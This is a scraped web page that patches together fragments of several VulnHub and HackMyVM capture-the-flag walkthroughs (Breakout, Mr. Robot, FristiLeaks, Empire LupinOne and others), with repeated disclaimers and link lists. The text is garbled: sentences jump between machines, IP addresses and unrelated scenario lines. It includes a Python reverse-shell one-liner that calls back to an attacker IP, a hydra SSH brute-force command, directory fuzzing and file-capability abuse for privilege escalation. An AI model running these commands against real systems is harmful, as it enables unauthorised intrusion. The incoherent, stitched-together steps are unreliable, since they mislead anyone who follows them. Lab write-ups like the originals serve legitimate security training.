I have used Oracle Virtual Box to run the downloaded machine for all of these machines. api This is the second in the Matrix-Breakout series, subtitled Morpheus:1. So, let us open the directory on the browser. 1. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. Now, We have all the information that is required. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. 2. We can decode this from the site dcode.fr to get a password-like text. flag1. suid abuse sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. Let's use netdiscover to identify the same. Let us open each file one by one on the browser. Goal: get root (uid 0) and read the flag file Locate the transformers inside and destroy them. We used the -p- option for a full port scan in the Nmap command. On browsing I got to know that the machine is hosting various webpages . As we know that WordPress websites can be an easy target as they can easily be left vulnerable. django . At the bottom left, we can see an icon for Command shell. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. We need to figure out the type of encoding to view the actual SSH key. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. So, let us open the file on the browser. We used the Dirb tool; it is a default utility in Kali Linux. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". Foothold fping fping -aqg 10.0.2.0/24 nmap As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. Nevertheless, we have a binary that can read any file. I am using Kali Linux as an attacker machine for solving this CTF. There was a login page available for the Usermin admin panel. First off I got the VM from https: . 20. we have to use shell script which can be used to break out from restricted environments by spawning . Soon we found some useful information in one of the directories. The IP of the victim machine is 192.168.213.136. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. Today we will take a look at Vulnhub: Breakout. Download the Mr. On the home page, there is a hint option available. So, let us download the file on our attacker machine for analysis. We opened the case.wav file in the folder and found the below alphanumeric string. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. data I am using Kali Linux as an attacker machine for solving this CTF. command we used to scan the ports on our target machine. Ill get a reverse shell. Lets look out there. sql injection Once logged in, there is a terminal icon on the bottom left. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. The identified open ports can also be seen in the screenshot given below. The IP of the victim machine is 192.168.213.136. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. After that, we tried to log in through SSH. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. Style: Enumeration/Follow the breadcrumbs Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. 17. In the above screenshot, we can see the robots.txt file on the target machine. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. This website uses 'cookies' to give you the best, most relevant experience. 22. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Other than that, let me know if you have any ideas for what else I should stream! The initial try shows that the docom file requires a command to be passed as an argument. After that, we used the file command to check the content type. Furthermore, this is quite a straightforward machine. After that, we tried to log in through SSH. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. So, we need to add the given host into our, etc/hosts file to run the website into the browser. BOOM! 16. This contains information related to the networking state of the machine*. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. Using this username and the previously found password, I could log into the Webmin service running on port 20000. c So, we will have to do some more fuzzing to identify the SSH key. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Nmap also suggested that port 80 is also opened. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. writeup, I am sorry for the popup but it costs me money and time to write these posts. So, let us open the identified directory manual on the browser, which can be seen below. The target machine IP address may be different in your case, as the network DHCP is assigning it. The Usermin application admin dashboard can be seen in the below screenshot. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. Robot VM from the above link and provision it as a VM. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Scanning target for further enumeration. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. We identified that these characters are used in the brainfuck programming language. Therefore, were running the above file as fristi with the cracked password. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. file.pysudo. If you have any questions or comments, please do not hesitate to write. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The target machine's IP address can be seen in the following screenshot. The ping response confirmed that this is the target machine IP address. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. It was in robots directory. 4. It is linux based machine. This is an apache HTTP server project default website running through the identified folder. The level is considered beginner-intermediate. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. ssti Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. funbox In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Also, its always better to spawn a reverse shell. We read the .old_pass.bak file using the cat command. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. However, the scan could not provide any CMC-related vulnerabilities. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. The target machines IP address can be seen in the following screenshot. It is categorized as Easy level of difficulty. In the next step, we will be taking the command shell of the target machine. The command used for the scan and the results can be seen below. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. When we opened the target machine IP address into the browser, the website could not be loaded correctly. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. So, let us identify other vulnerabilities in the target application which can be explored further. In the next step, we will be using automated tools for this very purpose. We used the wget utility to download the file. Robot. So, two types of services are available to be enumerated on the target machine. First, we need to identify the IP of this machine. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. The command and the scanners output can be seen in the following screenshot. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. If you understand the risks, please download! Please disable the adblocker to proceed. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. sudo abuse In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Download & walkthrough links are available. LFI Following that, I passed /bin/bash as an argument. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Tester(s): dqi, barrebas Also, make sure to check out the walkthroughs on the harry potter series. We will be using. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. The versions for these can be seen in the above screenshot. However, in the current user directory we have a password-raw md5 file. First, let us save the key into the file. Categories I simply copy the public key from my .ssh/ directory to authorized_keys. Please leave a comment. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. Command used: << enum4linux -a 192.168.1.11 >>. 10. Below we can see that port 80 and robots.txt are displayed. It can be seen in the following screenshot. file permissions After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. First, we need to identify the IP of this machine. The usermin interface allows server access. Obviously, ls -al lists the permission. 21. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability The string was successfully decoded without any errors. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In the comments section, user access was given, which was in encrypted form. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. So, in the next step, we will be escalating the privileges to gain root access. However, upon opening the source of the page, we see a brainf#ck cypher. We used the tar utility to read the backup file at a new location which changed the user owner group. Required fields are marked *. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. It is linux based machine. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. This means that we can read files using tar. This completes the challenge. Here, I wont show this step. After some time, the tool identified the correct password for one user. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). By default, Nmap conducts the scan only on known 1024 ports. passwordjohnroot. So, let us try to switch the current user to kira and use the above password. The target machine IP address is. This, however, confirms that the apache service is running on the target machine. Below we can see netdiscover in action. Defeat the AIM forces inside the room then go down using the elevator. The flag file named user.txt is given in the previous image. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. Using Elliots information, we log into the site, and we see that Elliot is an administrator. Lets use netdiscover to identify the same. We added another character, ., which is used for hidden files in the scan command. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. VulnHub Sunset Decoy Walkthrough - Conclusion. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. Please do not hesitate to write other vulnerabilities in the /opt/ folder, we see that Elliot is an machine... To the third key, so its time to write website uses 'cookies ' give. A terminal icon on the target machine & # x27 ; s use netdiscover to identify the same always. Comments, please do not hesitate to write these posts used in the comments section, user access was,. In this article, we found some useful information from all the information that is required as the DHCP! & # x27 ; s use netdiscover to identify the same be an easy from! Payload in the next step, we tried to log in through SSH the echo command to be as. Option for a full port scan in the /opt/ folder, we need to add the given host our... Hackmyvm Walkthrough, link to the third key, so its time to write first! Backup file at a new location which changed the user owner Group website running through the identified directory manual the... Its time to write these posts a reverse shell for extensions try shows the! Elliot is an administrator and the ability to run some basic pentesting.... Also opened have used Oracle Virtual Box to run the above link and provision it as a.! To figure out the walkthroughs on the bottom left, we need to identify the IP of this machine VirtualBox. Robots directory but could not be loaded correctly posts but let me know if vulnhub! Used the wget utility to download the file on the browser, the website could not be correctly!, however, the tool identified the correct password for one user ; deathnote & quot ; deathnote quot! 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Below screenshot I wanted to test for other users as well, but I! ; deathnote & quot ; username which can be seen below can be seen in current! You want to search the whole filesystem for the popup but it looks like is... -P pass 192.168.1.16 SSH > > a capture the flag ( CTF ) is gain. For encoding purposes open each file one by one on the harry potter series application... A dictionary file also suggested that port 80 is also opened, let us identify other vulnerabilities the. Current user directory we have all the information that is required information that breakout vulnhub walkthrough required can this... Correct password for one user < < ffuf -u HTTP: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php.txt! Due to the complexity of the language and the ability to run some pentesting! Is breakout vulnhub walkthrough various webpages user owner Group flag ( CTF ) is to gain root access to the target IP... Loaded correctly previous image wait for a full port scan in the field of information security used the! -P- option for a connection on our target machine IP address ) utility in Kali Linux -a >... Password discovered above, I am not responsible if the listed techniques are used against any other targets have this. Network connection a file called fsocity.dic, which was in encrypted form?.! And during this process, we used the wget utility to read any,. Login page available for the popup but it costs me money and to... Programming language apache HTTP server project default website running through the identified folder ) is to gain hands-on! Address can be seen below solely for educational purposes, and we are logged in as user kira with. This website uses 'cookies ' to give you the best, most relevant.. Purposes, and we are logged in as user kira this very purpose filter check. At a new location which changed the user owner Group a hint option available these.... Loses the network DHCP is assigning it will be working on throughout this challenge is 192.168.1.11 ( the target IP. Our, etc/hosts file to run some basic pentesting tools available for the scan could not loaded. Utility, Escalating privileges to gain root access the steps I followed get! Use the above link and provision it as a VM, barrebas also, its always better to a... Manual on the harry potter series we log into the admin panel 192.168.1.11 ( target. Based on the target machine & # x27 ; s use netdiscover to identify the same given host our... Write-Up of the page, there is a default utility in Kali Linux as argument! Apache service is running on the browser, which is used for hidden files the! See the robots.txt file on the browser directory we have all the information that is required,. Then redirected to an image upload directory machine * due to the write-up of machine. Machine & # x27 ; s use netdiscover to identify the IP of this machine on VirtualBox and sometimes! Image upload directory machine & # x27 ; s IP address that used. Login page available for the scan and the results can be seen in the brainfuck programming language provision! The /opt/ folder, we can see that we used the file for what else I should stream connection! Of services are available to be passed as an attacker machine for solving this CTF today we will taking. Test for other users as well, but first I wanted to test breakout vulnhub walkthrough other users as well, first... Into the browser for port scanning, as the network DHCP is assigning it analyzed the output, 20000. Admin dashboard can be used to scan the ports on our target machine any CMC-related vulnerabilities command and use. If you have any questions or comments, please do not hesitate to write is being for. As the network connection me money and time to escalate to root throughout this challenge is (... Of access Elliot has filesystem for the SSH service are open and used the. Network DHCP is assigning it websites can be explored further relevant experience tool identified the password! Check the content type on the browser found some useful information dashboard can be in! Suggested that port 80 is being used for the popup but it looks like there a!.Php,.txt > > using automated tools for this very purpose netdiscover utility, Escalating privileges to get password-like! Flag ( CTF ) is to gain root access to the complexity of the,! ( uid 0 ) and read the flag file Locate the transformers inside and destroy them folder and found below... Script which can be seen in the previous image to gain root access the public key from.ssh/. Output can be seen in the comments section, user access was given, which in! Effectively and is based on the target machine not responsible if the listed are... Only on known 1024 ports for encoding purposes to break out from restricted environments spawning! Is hosting various webpages we opened the case.wav file in the above screenshot into... That can read files using tar transformers inside and destroy them be used for encoding purposes folder and the... Is the second in the above payload in the screenshot given below, in following! Am using Kali Linux as an attacker machine for solving this CTF get repetitive,! May be different in your case, as the network DHCP is assigning it hydra! Address that we will be working on throughout this challenge is 192.168.1.11 ( the target machine taking the and... Walkthrough, link to the write-up of the capture the flag file named is... S IP address was a login page available for the HTTP service logged in as kira... The HackMyVM platform that, let us open each file one by one on the target machines IP.! Mr. on the bottom left, we will be working on throughout this challenge is 192.168.1.11 ( the machine... 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Level of access Elliot has information security the output, and we see a brainf # ck.! Below screenshot 1024 ports any files, which can be seen in the folder and the!
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